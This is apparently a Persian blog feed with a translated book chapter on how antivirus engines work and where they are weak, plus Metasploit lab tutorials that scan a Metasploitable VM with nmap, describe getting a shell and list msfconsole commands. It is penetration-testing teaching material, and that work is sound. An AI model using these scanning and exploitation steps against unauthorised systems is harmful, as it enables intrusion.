محصولات آنتیویروس راهحلهای غیرقابل نفوذی برای مقابله با بدافزار نیستند، زیرا یک محصول آنتیویروس نمیتواند چیزی را که ناشناخته است شناسایی کند. مطالب بازاریابی محصولات مختلف آنتیویروس ممکن است کاربران عادی را به این باور برساند که از همه چیز محافظت میشوند، اما متأسفانه این موضوع بههیچوجه درست نیست. صنعت آنتیویروس بر اساس الگوهای بدافزار شناختهشده بنا شده است؛ یک محصول آنتیویروس نمیتواند تهدیدهای جدید و ناشناخته را شناسایی کند، مگر اینکه بر اساس الگوهای قدیمی و شناختهشده (چه رفتاری و چه ایستا) باشند، صرفنظر از آنچه صنعت آنتیویروس تبلیغ میکند.ویژگیهای آنتیویروسهمه محصولات آنتیویروس مجموعهای از ویژگیهای مشترک دارند، بنابراین مطالعه یک سیستم به درک سیستم دیگر کمک میکند. فهرست زیر شامل برخی از ویژگیهای رایج موجود در محصولات آنتیویروس است:■ قابلیت اسکن فایلهای فشرده و فایلهای اجرایی بستهبندیشده■ ابزارهایی برای انجام اسکن فایل یا پوشه بهصورت درخواستی یا بلادرنگ■ یک درایور محافظت از خود برای جلوگیری از حمله بدافزار به خود آنتیویروس■ قابلیتهای فایروال و بازرسی شبکه■ ابزارهای خط فرمان و رابط گرافیکی■ یک دیمن یا سرویس■ یک کنسول مدیریتیبخشهای بعدی برخی از ویژگیهای مشترک میان بیشتر محصولات آنتیویروس، و همچنین ویژگیهای پیشرفتهتری را که تنها در برخی محصولات در دسترس هستند، فهرست کرده و بهطور خلاصه بررسی میکنند.ویژگیهای پایهیک محصول آنتیویروس برای قابل استفاده بودن باید برخی ویژگیهای پایه را داشته باشد و الزامات خاصی را برآورده کند. برای مثال، یکی از الزامات اساسی این است که اسکنر و هسته آنتیویروس سریع باشند و حافظه کمی مصرف کنند.استفاده از زبانهای بومیبیشتر موتورهای آنتیویروس (بهجز نرمافزار قدیمی Malwarebytes که یک محصول آنتیویروس کامل نبود) با زبانهای غیرمدیریتشده یا بومی مانند C، C++ یا ترکیبی از هر دو نوشته میشوند. موتورهای آنتیویروس باید تا حد امکان سریع اجرا شوند، بدون اینکه کارایی سیستم را کاهش دهند. زبانهای بومی این الزامات را برآورده میکنند، زیرا زمانی که کد کامپایل میشود، بهصورت بومی و با حداکثر سرعت روی پردازنده میزبان اجرا میشود. در مورد نرمافزارهای مدیریتشده، کد کامپایلشده به قالب بایتکد تبدیل میشود و برای اجرا به یک لایه اضافی نیاز دارد: یک مفسر ماشین مجازی که در هسته آنتیویروس تعبیه شده و نحوه اجرای بایتکد را میداند.برای مثال، فایلهای DEX اندروید، جاوا و کدهای مدیریتشده .NET همگی برای اجرای بایتکد کامپایلشده به نوعی ماشین مجازی نیاز دارند. این لایه اضافی همان چیزی است که زبانهای بومی را نسبت به زبانهای مدیریتشده برتر میکند. با این حال، نوشتن کد با استفاده از زبانهای بومی معایب خود را دارد. کدنویسی با آنها دشوارتر است و احتمال نشت حافظه و منابع سیستم، ایجاد خرابی حافظه (مانند سرریز بافر، استفاده پس از آزادسازی، آزادسازی دوباره) یا وارد کردن خطاهای برنامهنویسی که میتوانند پیامدهای امنیتی جدی داشته باشند، بیشتر است. نه C و نه C++ هیچ سازوکاری برای محافظت در برابر خرابیهای حافظه مانند آنچه زبانهای مدیریتشدهای مانند .NET، Python و Lua ارائه میدهند، ندارند. فصل ۳ آسیبپذیریها در تجزیهکنندهها را توضیح میدهد و نشان میدهد چرا این موضوع رایجترین منبع خطا در نرمافزارهای آنتیویروس است.اسکنرهایکی دیگر از ویژگیهای رایج محصولات آنتیویروس، اسکنر است که میتواند یک اسکنر درخواستی با رابط گرافیکی یا خط فرمان باشد. از چنین ابزارهایی زمانی استفاده میشود که کاربر تصمیم میگیرد مجموعهای از فایلها، پوشهها یا حافظه سیستم را بررسی کند. همچنین اسکنرهای هنگام دسترسی وجود دارند که معمولاً «مقیم» یا «بلادرنگ» نامیده میشوند. اسکنر مقیم فایلهایی را که توسط سیستمعامل یا برنامههای دیگر (مانند مرورگرهای وب) مورد دسترسی، ایجاد، ویرایش یا اجرا قرار میگیرند تحلیل میکند؛ این کار برای جلوگیری از آلوده شدن فایلهای اسناد و برنامهها توسط ویروسها یا جلوگیری از اجرای فایلهای بدافزار شناختهشده انجام میشود.اسکنر مقیم یکی از جالبترین مؤلفهها برای حمله است؛ برای مثال، یک نقص در تجزیهکننده اسناد Microsoft Word میتواند پس از دانلود یک سند Word مخرب، اسکنر مقیم را در معرض اجرای کد دلخواه قرار دهد (حتی اگر کاربر فایل را باز نکند). یک نقص امنیتی در کد تجزیهکننده پیامهای ایمیل آنتیویروس نیز ممکن است هنگام دریافت یک ایمیل جدید با پیوست مخرب، و زمانی که فایلهای موقت روی دیسک ایجاد و توسط اسکنر هنگام دسترسی تحلیل میشوند، باعث اجرای کد مخرب شود. هنگامی که این نقصها فعال میشوند، میتوان از آنها بهعنوان یک حمله محرومسازی از سرویس استفاده کرد که باعث کرش کردن برنامه آنتیویروس یا ورود آن به یک حلقه بیپایان میشود و در نتیجه آنتیویروس بهطور موقت یا دائمی از کار میافتد تا زمانی که کاربر آن را مجدداً راهاندازی کند.امضاهااسکنر هر محصول آنتیویروس با استفاده از مجموعهای از امضاها فایلها یا بستههای شبکه را جستوجو میکند تا مشخص کند آیا آنها مخرب هستند یا نه؛ همچنین به هر الگو یک نام اختصاص میدهد. امضاها الگوهای شناختهشده فایلهای مخرب هستند. برخی از امضاهای رایج و نسبتاً ساده با استفاده از تکنیکهای تطبیق الگوی ساده شناسایی میشوند (برای مثال، یافتن یک رشته خاص مانند رشته EICAR)، یا با استفاده از CRCها (چِکسامها) یا هشهای MD5. اتکا به هشهای رمزنگاریشدهای مانند MD5 فقط برای یک فایل مشخص کار میکند (زیرا هش رمزنگاریشده تلاش میکند فقط همان فایل را شناسایی کند)، در حالی که امضاهای مبتنی بر منطق فازی، مانند زمانی که الگوریتم CRC روی بخشهای خاصی از داده اعمال میشود (بهجای هش کردن کل فایل)، میتوانند فایلهای متنوعتری را شناسایی کنند.محصولات آنتیویروس معمولاً انواع مختلفی از امضاها دارند، همانطور که در فصل ۸ توضیح داده شده است. این انواع امضا از CRCهای ساده تا الگوهای ابتکاری نسبتاً پیچیدهای متغیر هستند که بر اساس ویژگیهای متعدد سرآیند PE، پیچیدگی کد در نقطه ورود فایل اجرایی و آنتروپی کل فایل یا بخشی از بخشها یا سگمنتهای فایل اجرایی بنا شدهاند. گاهی اوقات امضاها همچنین بر اساس بلاکهای پایهای هستند که هنگام انجام تحلیل کد از نقطه ورود فایلهای اجرایی تحت بررسی کشف میشوند، و موارد دیگر از این دست.هر نوع امضا مزایا و معایب خود را دارد. برای مثال، برخی امضاها بسیار خاص هستند و احتمال مثبت کاذب در آنها کمتر است (زمانی که یک فایل سالم بهعنوان بدافزار شناسایی میشود)، در حالی که برخی دیگر بسیار پرریسک هستند و میتوانند فهرست بزرگی از مثبتهای کاذب ایجاد کنند. تصور کنید، برای نمونه، امضایی که کلمه Microsoft را در هر فایلی که با بایتهای MZ\x90 شروع میشود پیدا کند. این کار بدون توجه به اینکه فایل واقعاً بدافزار باشد یا نه، باعث ایجاد تعداد زیادی مثبت کاذب میشود. امضاها باید با دقت بسیار زیادی ایجاد شوند تا از مثبتهای کاذب، مانند نمونهای که در شکل ۱-۱ نشان داده شده است، یا منفیهای واقعی جلوگیری شود (زمانی که کد بدافزار واقعی بهعنوان سالم شناسایی میشود).فشردهسازها و آرشیوهایکی دیگر از اجزای کلیدی هر هسته آنتیویروس، پشتیبانی از فرمتهای فایل فشرده یا آرشیو شده است: ZIP، TGZ، 7z، XAR و RAR، تنها بهعنوان چند نمونه. آنتیویروسها باید قادر باشند تمام فایلهای داخل هر فایل فشرده یا آرشیو شده، و همچنین جریانهای فشرده در فایلهای PDF و دیگر فرمتها را باز کرده و مرور کنند.از آنجا که هستههای آنتیویروس باید از این تعداد زیاد فرمت فایل پشتیبانی کنند، اغلب آسیبپذیریها در کدی پیدا میشوند که با این تنوع ورودیها سر و کار دارد.این کتاب به بررسی آسیبپذیریهای مختلفی میپردازد که محصولات آنتیویروس متفاوت را تحت تأثیر قرار میدهند.بازکنندههابازکننده یک روال یا مجموعهای از روالهاست که برای باز کردن فایلهای اجرایی محافظتشده یا فشرده طراحی شدهاند. بدافزارها در قالب فایلهای اجرایی معمولاً با استفاده از فشردهسازها و محافظهای در دسترس عموم یا بستهکنندههای اختصاصی (که هم بهصورت قانونی و هم غیرقانونی بهدست میآیند) بستهبندی میشوند. تعداد بستهکنندههایی که هسته یک آنتیویروس باید پشتیبانی کند حتی از تعداد فشردهسازها و آرشیوها هم بیشتر است و تقریباً هر ماه با ظهور بستهکنندههای جدیدی که برای پنهان کردن منطق بدافزارهای جدید استفاده میشوند، افزایش مییابد.برخی ابزارهای بستهکننده، مانند UPX (Universal Unpacker)، تنها فشردهسازی سادهای اعمال میکنند. باز کردن نمونههایی که با UPX فشرده شدهاند کاری بسیار ساده و سرراست است. در مقابل، بستهکنندهها و محافظهای نرمافزاری بسیار پیچیدهای وجود دارند که کد مورد نظر را به بایتکد تبدیل کرده و سپس یک یا چند ماشین مجازی با تولید تصادفی را به داخل فایل اجرایی تزریق میکنند تا کد اصلیای که بدافزار نوشته است اجرا شود. حذف این لایه مجازیسازی و آشکار کردن منطق بدافزار کاری بسیار دشوار و زمانبر است.برخی بستهکنندهها را میتوان با استفاده از شبیهساز پردازنده در هسته آنتیویروس باز کرد (مولفهای که در بخشهای بعدی بررسی میشود)؛ برخی دیگر صرفاً با روشهای ایستا باز میشوند. انواع پیچیدهتر را میتوان با ترکیبی از هر دو تکنیک باز کرد: استفاده از شبیهساز تا یک لایه مشخص و سپس بهکارگیری یک روال ایستا که وقتی برخی مقادیر مشخص هستند (مانند اندازه داده رمزگذاریشده، الگوریتم مورد استفاده، کلید و غیره) سریعتر از شبیهساز عمل میکند.همانند فشردهسازها و آرشیوها، بازکنندهها نیز یکی از حوزههای بسیار رایج برای بررسی هنگام جستوجوی آسیبپذیریها در نرمافزارهای آنتیویروس هستند. فهرست بستهکنندههایی که باید پشتیبانی شوند بسیار عظیم است؛ برخی از آنها تنها در جریان یک کارزار خاص بدافزاری استفاده میشوند، بنابراین احتمال دارد کد مربوطه یکبار نوشته شده و دیگر هرگز بررسی یا ممیزی نشود. فهرست بستهکنندههای مورد پشتیبانی هر سال بزرگتر میشود.شبیهسازهابیشتر هستههای آنتیویروس موجود در بازار از تعدادی شبیهساز پشتیبانی میکنند؛ تنها استثنا ClamAV است. رایجترین شبیهساز در هستههای آنتیویروس، شبیهساز Intel x86 است. برخی محصولات پیشرفته آنتیویروس امکان پشتیبانی از شبیهسازهای AMD64 یا ARM را نیز فراهم میکنند. شبیهسازها تنها به پردازندههای معمولی مانند Intel x86، AMD64 یا ARM محدود نمیشوند؛ بلکه شبیهسازهایی برای برخی ماشینهای مجازی نیز وجود دارد. برای مثال، برخی شبیهسازها برای بررسی بایتکد جاوا، بایتکد Android DEX، جاوااسکریپت و حتی VBScript یا Adobe ActionScript طراحی شدهاند.اثر انگشتبرداری یا دور زدن شبیهسازها و ماشینهای مجازی مورد استفاده در محصولات آنتیویروس کار آسانی است؛ تنها کافی است برخی ناهماهنگیها را اینجا و آنجا پیدا کنید. برای نمونه، در مورد شبیهساز Intel x86، بعید است ـ اگر نگوییم غیرممکن ـ که توسعهدهندگان هسته آنتیویروس تمام دستورالعملهایی را که پردازندههای واقعی مورد شبیهسازی پشتیبانی میکنند، دقیقاً به همان شکلی پیادهسازی کرده باشند که سازندگان آن پردازندهها انجام دادهاند. برای مؤلفههای سطح بالاتری که از شبیهساز استفاده میکنند، مانند محیطهای اجرایی فایلهای ELF یا PE، احتمال پیادهسازی کامل محیط سیستمعامل یا تمام APIهای ارائهشده توسط سیستمعامل حتی کمتر است. بنابراین یافتن راههای متعدد برای فریب دادن شبیهسازها و اثر انگشتبرداری از آنها بسیار آسان است.در این کتاب، تکنیکهای متعددی برای دور زدن شبیهسازهای آنتیویروس و همچنین روشهای اثر انگشتبرداری از آنها بررسی شده است. بخش سوم این کتاب به نوشتن اکسپلویت برای یک موتور آنتیویروس مشخص میپردازد.فرمتهای فایل متفرقهتوسعه یک هسته آنتیویروس بسیار پیچیده است. در بخشهای قبلی، برخی از ویژگیهای مشترک میان هستههای آنتیویروس بررسی شد و میتوان میزان زمان و تلاشی را که برای پشتیبانی از این ویژگیها لازم است تصور کرد. با این حال، در مورد هسته آنتیویروس وضعیت حتی بدتر است؛ هسته باید از فهرست بسیار طولانیای از فرمتهای فایل پشتیبانی کند تا بتواند اکسپلویتهای جاسازیشده در فایلها را شناسایی کند. برخی از فرمتهای فایلی که به ذهن میرسند (بهجز فشردهسازها و آرشیوها) عبارتاند از: کانتینرهای OLE2 (اسناد Word یا Excel)؛ صفحات HTML، اسناد XML و فایلهای PDF؛ فایلهای راهنمای CHM و فرمتهای قدیمی Microsoft Help؛ فایلهای اجرایی PE، ELF و MachO؛ فرمتهای تصویری JPG، PNG، GIF، TGA و TIFF؛ فرمتهای آیکن ICO و CUR؛ فرمتهای صوتی و ویدیویی MP3، MP4، AVI، ASF و MOV؛ و موارد دیگر.هر بار که یک اکسپلویت برای یک فرمت فایل جدید ظاهر میشود، یک مهندس آنتیویروس باید سطحی از پشتیبانی برای آن فرمت فایل اضافه کند. برخی فرمتها آنقدر پیچیده هستند که حتی نویسنده اصلی آنها نیز ممکن است در پردازش صحیحشان دچار مشکل شود؛ دو نمونه از این موارد، مایکروسافت و فرمتهای فایل آفیس آن، و شرکت ادوبی و فرمت PDF آن هستند. بنابراین چرا باید انتظار داشت که توسعهدهندگان آنتیویروس بهتر از نویسنده اصلی با این فرمتها برخورد کنند، در حالی که احتمالاً هیچ دانش قبلیای درباره این فرمت فایل ندارند و ممکن است مجبور به انجام مهندسی معکوس شوند؟ همانطور که میتوان حدس زد، این بخش خطاپذیرترین ناحیه در هر نرمافزار آنتیویروس است و برای مدت طولانی نیز چنین باقی خواهد ماند.ویژگیهای پیشرفتهبخشهای بعدی برخی از رایجترین ویژگیهای پیشرفتهای را بررسی میکنند که توسط محصولات آنتیویروس پشتیبانی میشوند.فیلترهای بسته و فایروالهااز اواخر دهه ۱۹۹۰ تا حدود سال ۲۰۱۰، مشاهده نوع جدیدی از بدافزارها به نام کرمها رایج بود که از یک یا چند آسیبپذیری راه دور در برخی محصولات نرمافزاری هدف سوءاستفاده میکردند. گاهی این کرمها تنها با استفاده از ترکیبهای پیشفرض نام کاربری و رمز عبور، شبکههای اشتراکگذاری فایل ویندوز (CIFS) را آلوده میکردند و خود را با نامهای جذاب کپی میکردند. نمونههای معروف شامل &quot;I love you&quot;، Conficker، Melissa، Nimda، Slammer و Code Red هستند.از آنجا که بسیاری از کرمها از منابع شبکه برای آلوده کردن رایانهها استفاده میکردند، صنعت آنتیویروس تصمیم گرفت شبکهها را برای ترافیک ورودی و خروجی بررسی کند. برای این منظور، نرمافزارهای آنتیویروس درایورهایی برای تحلیل ترافیک شبکه و فایروالهایی برای مسدود کردن و شناسایی رایجترین حملات شناختهشده نصب کردند. همانند ویژگیهای پیشین، این بخش نیز منبع خوبی برای بروز خطاها است و امروزه کرمها تقریباً منقرض شدهاند. این ویژگی در محصولات آنتیویروس سالهاست بهروزرسانی نشده است؛ در نتیجه، احتمالاً با تعدادی آسیبپذیری مواجه است زیرا عملاً رها شده است. این یکی از سطوح حملهای است که از راه دور در فصل ۱۱ تحلیل شده است.محافظت از خودهمانطور که نرمافزار آنتیویروس سعی میکند کاربران را از بدافزار محافظت کند، بدافزار نیز سعی میکند خود را از نرمافزار آنتیویروس محافظت کند. در برخی موارد، بدافزار تلاش میکند فرآیندهای محصول آنتیویروس نصبشده را خاتمه دهد تا آن را غیرفعال کند. بسیاری از محصولات آنتیویروس تکنیکهای محافظت از خود را در درایورهای هستهای پیادهسازی میکنند تا عملیاتهای رایج خاتمه دادن فرآیند، مانند فراخوانی ZwTerminateProcess، را مسدود کنند. سایر تکنیکهای محافظت از خود که توسط نرمافزارهای آنتیویروس استفاده میشوند میتوانند بر اساس جلوگیری از فراخوانی openProcess با پارامترهای خاص برای فرآیندهای آنتیویروس یا جلوگیری از فراخوانی WriteProcessMemory باشند، که برای تزریق کد در یک فرآیند خارجی استفاده میشوند.این تکنیکها معمولاً با درایورهای هستهای پیادهسازی میشوند؛ اما محافظت میتواند در فضای کاربر (userland) نیز اعمال شود. با این حال، اتکا به کدی که در فضای کاربر اجرا میشود یک مدل محافظتی شکستخورده است که از سال ۲۰۰۰ معلوم شده کارایی نداشته است؛ با این وجود، بسیاری از محصولات آنتیویروس هنوز این اشتباه را مرتکب میشوند. محصولات آنتیویروس مختلفی که با این مشکل مواجه هستند، در بخش سوم این کتاب مورد بررسی قرار گرفتهاند.مقابله با بهرهبرداریسیستمعاملها، از جمله Windows، Mac OS X و Linux، امروزه ویژگیهای مقابله با بهرهبرداری را ارائه میدهند که با عنوان کاهشدهندههای امنیتی نیز شناخته میشوند؛ مانند تصادفیسازی چیدمان فضای آدرس (ASLR) و جلوگیری از اجرای داده (DEP)، اما این یک توسعه نسبتاً جدید است. به همین دلیل، برخی مجموعههای آنتیویروس راهکارهای مقابله با بهرهبرداری را ارائه میدهند (یا در گذشته ارائه میدادند). برخی تکنیکهای مقابله با بهرهبرداری میتوانند به سادگی اعمال اجباری ASLR و DEP برای تکتک برنامهها و کتابخانههای متصل به فایل اجرایی باشند، در حالی که تکنیکهای دیگر پیچیدهتر هستند، مانند هوکهای فضای کاربر یا فضای هسته برای تعیین اینکه آیا انجام یک عمل خاص برای یک فرآیند مشخص مجاز است یا خیر.متأسفانه، همانطور که در نرمافزارهای آنتیویروس رایج است، بیشتر جعبهابزارهای مقابله با بهرهبرداری که توسط صنعت آنتیویروس ارائه میشوند، در فضای کاربر و از طریق هوک کردن توابع پیادهسازی شدهاند؛ جعبهابزار مقابله با بهرهبرداری Malwarebytes یکی از این نمونههاست. با ظهور Microsoft Enhanced Mitigation Experience Toolkit (EMET)، بیشتر جعبهابزارهای مقابله با بهرهبرداری پیادهسازیشده توسط صنعت آنتیویروس یا در مقایسه با آن ناقص هستند یا بهروز نیستند، که این موضوع دور زدن آنها را آسان میکند.در برخی موارد، استفاده از جعبهابزارهای مقابله با بهرهبرداری که توسط برخی شرکتهای آنتیویروس پیادهسازی شدهاند، حتی بدتر از استفاده نکردن از هیچ جعبهابزاری است. یکی از نمونهها Sophos Buffer Overflow Protection System &#40;BOPS&#41; است، که یک پیادهسازی ASLR محسوب میشود. تاویس اورمندی، پژوهشگر پرکار گوگل، کشف کرد که Sophos یک کتابخانه پیوند پویا (DLL) سراسری در سیستم نصب میکرد بدون اینکه ASLR برای آن فعال شده باشد. این DLL سراسری برای اعمال و پیادهسازی یک ASLR ظاهری در سیستمعاملهای فاقد ASLR، مانند Windows XP، به داخل فرآیندها تزریق میشد. نکته طعنهآمیز این است که خود این DLL سراسری بدون پشتیبانی از ASLR کامپایل شده بود؛ در نتیجه، در سیستمعاملهایی که ASLR را ارائه میدهند، مانند Windows Vista، ASLR عملاً غیرفعال میشد، زیرا این DLL از ASLR پشتیبانی نمیکرد.مشکلات بیشتری درباره پیادهسازی جعبهابزارها در نرمافزارهای آنتیویروس در بخش چهارم این کتاب بررسی شده است.خلاصهاین فصل مقدماتی درباره تاریخچه آنتیویروسها، انواع مختلف بدافزارها و تکامل همزمان صنعت آنتیویروس و مهارتهای نویسندگان بدافزار صحبت کرد؛ نویسندگانی که به نظر میرسد همیشه یک قدم جلوتر هستند. در بخش دوم این فصل، مجموعه آنتیویروس کالبدشکافی شد و ویژگیهای پایه و پیشرفته مختلف آن بهصورت مقدماتی توضیح داده شد تا زمینه برای توضیحات دقیقتر در فصلهای بعدی کتاب فراهم شود.بهطور خلاصه:در گذشته، زمانی که صنعت آنتیویروس در ابتدای راه خود بود، آنتیویروسها «اسکنر» نامیده میشدند، زیرا از اسکنرهای خط فرمان و یک پایگاه داده امضا تشکیل شده بودند. با تکامل بدافزارها، آنتیویروسها نیز تکامل یافتند. امروزه نرمافزارهای آنتیویروس شامل موتورهای ابتکاری هستند و هدف آنها محافظت در برابر اکسپلویتهای مرورگر، بستههای شبکه، پیوستهای ایمیل و فایلهای اسنادی است.انواع مختلفی از نرمافزارهای مخرب وجود دارد، مانند تروجانها، بدافزارها، ویروسها، روتکیتها، کرمها، دراپرها، اکسپلویتها، شلکد و غیره.نویسندگان بدافزارهای کلاهسیاه با انگیزههایی مانند کسب درآمد مالی و سرقت مالکیت فکری فعالیت میکنند.دولتها نیز در قالب بدافزارهای جاسوسی یا خرابکارانه در نوشتن بدافزار مشارکت دارند. اغلب آنها برای حفاظت از منافع خود بدافزار مینویسند؛ مانند استفاده دولت بحرین از نرمافزار FinFisher برای جاسوسی از مخالفان، یا خرابکاری در زیرساختهای کشورهای دیگر، همانند بدافزار Stuxnet که گفته میشود بهطور مشترک توسط دولتهای ایالات متحده و اسرائیل برای هدف قرار دادن برنامه هستهای ایران نوشته شده است.محصولات آنتیویروس با استفاده از انواع اصطلاحات تبلیغاتی بازاریابی میشوند. این استراتژی بازاریابی میتواند گمراهکننده باشد و به کاربران عادی احساس امنیت کاذب بدهد.نرمافزار آنتیویروس سیستمی است متشکل از هسته یا کرنل که هماهنگی عملکرد میان سایر مؤلفهها را بر عهده دارد: افزونهها، سرویسهای سیستمی، درایورهای فیلتر سیستم فایل، مؤلفههای هستهای آنتیویروس و غیره.آنتیویروس باید سریع اجرا شود. زبانهایی که به کد بومی کامپایل میشوند بهترین انتخاب هستند، زیرا بدون سربار مفسرها (مانند مفسرهای ماشین مجازی) بهصورت بومی روی پلتفرم اجرا میشوند. برخی بخشهای آنتیویروس میتوانند با استفاده از زبانهای مدیریتشده یا تفسیری نوشته شوند.نرمافزار آنتیویروس از ویژگیهای پایهای مانند هسته یا کرنل، موتور اسکن، امضاها، فشردهگشاها، شبیهسازها و پشتیبانی از تجزیه فرمتهای مختلف فایل تشکیل شده است. علاوه بر این، محصولات آنتیویروس ممکن است ویژگیهای پیشرفتهای مانند قابلیتهای بازرسی بستهها، افزونههای امنیتی مرورگر، محافظت از خود و مقابله با بهرهبرداری را نیز ارائه دهند.فصل بعدی به بررسی مهندسی معکوس هستههای آنتیویروس با هدف انجام تستهای امنیتی خودکار و فازینگ میپردازد. فازینگ تنها یکی از روشهای شناسایی نقصهای امنیتی در آنتیویروسها است.Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Mon, 26 Jan 2026 15:43:02 +0330</pubDate>
            </item>
                    <item>
                <title>FTP metasploitable 2</title>
                <link>https://virgool.io/@m_14047363/ftp-metasploitable-2-fgyupahswlks</link>
                <description>با دستور زیر میتوانیم port های باز سیستم عامل آسیب پذیر را مشاهده کنیم:msfconsole
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.196.131
set PORTS 1-1000
run
یاnmap -sV 192.168.196.131برای فهمیدن ftp یک سیستم ، باید دستورات زیر را بزنیم:Port 21 FTP | Metasploitableابتدا پورت های باز سیستم آسیب پذیر را پیدا میکنیم:پورت FTP مورد نظر رو برمیداریم:نام مودل مورد نظر رو برداشته و آن را در متاسپلویت سرچ میکنیم:ساخت یک فولدر با نام Amid2Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Sun, 04 Jan 2026 18:54:56 +0330</pubDate>
            </item>
                    <item>
                <title>آموزش متاسپلویت (هدف: گرفتن یک شل):</title>
                <link>https://virgool.io/@m_14047363/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D9%85%D8%AA%D8%A7%D8%B3%D9%BE%D9%84%D9%88%DB%8C%D8%AA-%D9%87%D8%AF%D9%81-%DA%AF%D8%B1%D9%81%D8%AA%D9%86-%DB%8C%DA%A9-%D8%B4%D9%84-qfqxppnjnn5u</link>
                <description>metasploitable را راه اندازی کرده و با دستور ifconfig آی پی آن را بدست می آوریم192.168.196.13همین روند را برای کالی لینوکس در پی میگیریم تا آدرس آی پی آن را بدست آوریم192.168.196.130با استفاده از ابزار NMAP اطلاعات زیر را بدست می آوریم:NMAP -sV -O 192.168.196.131ابزار NMAPابزار اسکن شبکه برای:کشف پورت‌های بازشناسایی سرویس‌هاتشخیص سیستم‌عاملکمک به مرحله Recon در تست نفوذnmap تلاش می‌کنه بفهمه:روی هر پورت باز چه سرویسی اجرا می‌شهنسخه دقیق اون سرویس چیهمثال خروجی:-O (Operating System Detection)یعنی:تشخیص سیستم‌عامل هدف.مراحل زیر رو ادامه میدهیم:در انتهای کار ما محتوای آدرس رو میبینیم.(هم در ماشین آسیب پذیر هم درون کالی لینوکس)ما توانستیم یک شل از سیستم عامل آسیب پذیر بدست بیاوریم.Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Sat, 03 Jan 2026 11:10:40 +0330</pubDate>
            </item>
                    <item>
                <title>متاسپلویت قسمت سوم:</title>
                <link>https://virgool.io/@m_14047363/%D9%85%D8%AA%D8%A7%D8%B3%D9%BE%D9%84%D9%88%DB%8C%D8%AA-%D9%82%D8%B3%D9%85%D8%AA-%D8%B3%D9%88%D9%85-s2nzmvv5zk4y</link>
                <description>دستور banner:دستور banner یک دستور بسیار ساده است که برای نمایش اطلاعات بنر فریم‌ورک Metasploit استفاده می‌شود. این اطلاعات معمولاً شامل جزئیات نسخه و تعداد اکسپلویت‌ها، ماژول‌های کمکی (auxiliaries)، پیلودها، انکودرها و مولدهای NOP موجود در نسخه نصب‌شده فعلی است.نحوه استفاده (Syntax):msf&gt; bannerاسکرین‌شات زیر نحوه استفاده از دستور banner را نشان می‌دهد:دستور version:دستور version برای بررسی نسخه نصب‌شده فعلی فریم‌ورک Metasploit استفاده می‌شود.نحوۀ استفاده:msf&gt; versionاسکرین‌شات زیر نحوه استفاده از دستور version را نشان می‌دهد.دستور connect:دستور connect در فریم‌ورک Metasploit قابلیتی مشابه ابزارهای PuTTY یا Netcat ارائه می‌دهد. از این قابلیت می‌توان برای انجام یک اسکن سریع پورت یا دریافت بنر پورت (Port Banner Grabbing) استفاده کرد.نحوۀ استفاده:msf&gt; connect &lt;ip:port&gt;تصویر زیر نحوه استفاده از دستور connect را نشان می‌دهد:دستور help:همان‌طور که از نامش مشخص است، دستور help اطلاعات تکمیلی درباره نحوه استفاده از هر یک از دستورات داخل فریم‌ورک Metasploit ارائه می‌دهد.ساختار دستور:msf&gt; help دستور route:دستور route برای افزودن، مشاهده، ویرایش یا حذف مسیرهای شبکه استفاده می‌شود. این دستور معمولاً در سناریوهای پیشرفته و برای Pivoting (حرکت جانبی در شبکه پس از نفوذ اولیه) به کار می‌رود که در بخش‌های بعدی این کتاب به آن خواهیم پرداخت.ساختار دستور:msf&gt; routeدستور save:در برخی مواقع، هنگام انجام تست نفوذ روی یک محیط هدف پیچیده، تغییرات پیکربندی زیادی در فریم‌ورک Metasploit اعمال می‌شود. حال اگر لازم باشد تست نفوذ در زمان دیگری دوباره ادامه داده شود، پیکربندی مجدد Metasploit از ابتدا می‌تواند بسیار زمان‌بر و آزاردهنده باشد.دستور save تمام پیکربندی‌های فعلی را در یک فایل ذخیره می‌کند و این تنظیمات در اجرای بعدی Metasploit به‌صورت خودکار بارگذاری می‌شوند؛ در نتیجه، نیازی به انجام دوباره تنظیمات نخواهد بود.ساختار دستور:msf&gt; save دستور sessions:پس از این‌که هدف با موفقیت اکسپلویت شد، معمولاً یک session شِل روی سیستم هدف دریافت می‌کنیم. اگر به‌صورت هم‌زمان روی چندین هدف کار کنیم، ممکن است چندین session فعال به‌طور هم‌زمان وجود داشته باشد.فریم‌ورک Metasploit این امکان را فراهم می‌کند که هر زمان لازم بود بین session‌های مختلف جابه‌جا شویم. دستور sessions تمام sessionهای فعالی را که در حال حاضر با سیستم‌های هدف مختلف برقرار شده‌اند، نمایش می‌دهد.ساختار دستور:msf&gt; sessions تصویر زیر نحوه استفاده از دستور sessions را نشان می‌دهد:دستور show:دستور show برای نمایش ماژول‌های موجود در چارچوب Metasploit یا برای نمایش اطلاعات تکمیلی هنگام استفاده از یک ماژول خاص به کار می‌رود.ساختار دستور:msf&gt; show دستور info:دستور info برای نمایش جزئیات مربوط به یک ماژول خاص در چارچوب Metasploit استفاده می‌شود.برای مثال، ممکن است بخواهید اطلاعات مربوط به payload متـرپرتر (Meterpreter) را مشاهده کنید؛ مانند معماری‌های پشتیبانی‌شده و گزینه‌هایی که برای اجرای آن لازم است.ساختار دستور:msf&gt; infoدستور irb:دستور irb پلتفرم تعاملی Ruby را از داخل چارچوب Metasploit اجرا می‌کند. پلتفرم تعاملی Ruby معمولاً برای ایجاد و اجرای اسکریپت‌های سفارشی، به‌ویژه در مرحله‌ی پس از بهره‌برداری (Post-Exploitation)، استفاده می‌شود.ساختار دستور:msf&gt; irbدستور search:چارچوب Metasploit شامل تعداد زیادی اکسپلویت و پیلود است. گاهی پیدا کردن ماژول یا اکسپلویت دقیق می‌تواند گیج‌کننده باشد. در چنین مواقعی، دستور search بسیار کاربردی است.برای مثال، اگر بخواهیم بررسی کنیم چه اکسپلویت‌هایی برای VLC وجود دارد، می‌توانیم از دستور search استفاده کنیم.ساختار دستور:msf&gt; search &lt;string&gt;حتی امکان جستجو بر اساس نویسنده (author)، آسیب‌پذیری‌ها و مواجهه‌های رایج (CVE)، تاریخ، پورت، پلتفرم و موارد دیگر نیز وجود دارد.برای مشاهده پارامترهای بیشتر جستجو، کافی است از دستور help search استفاده 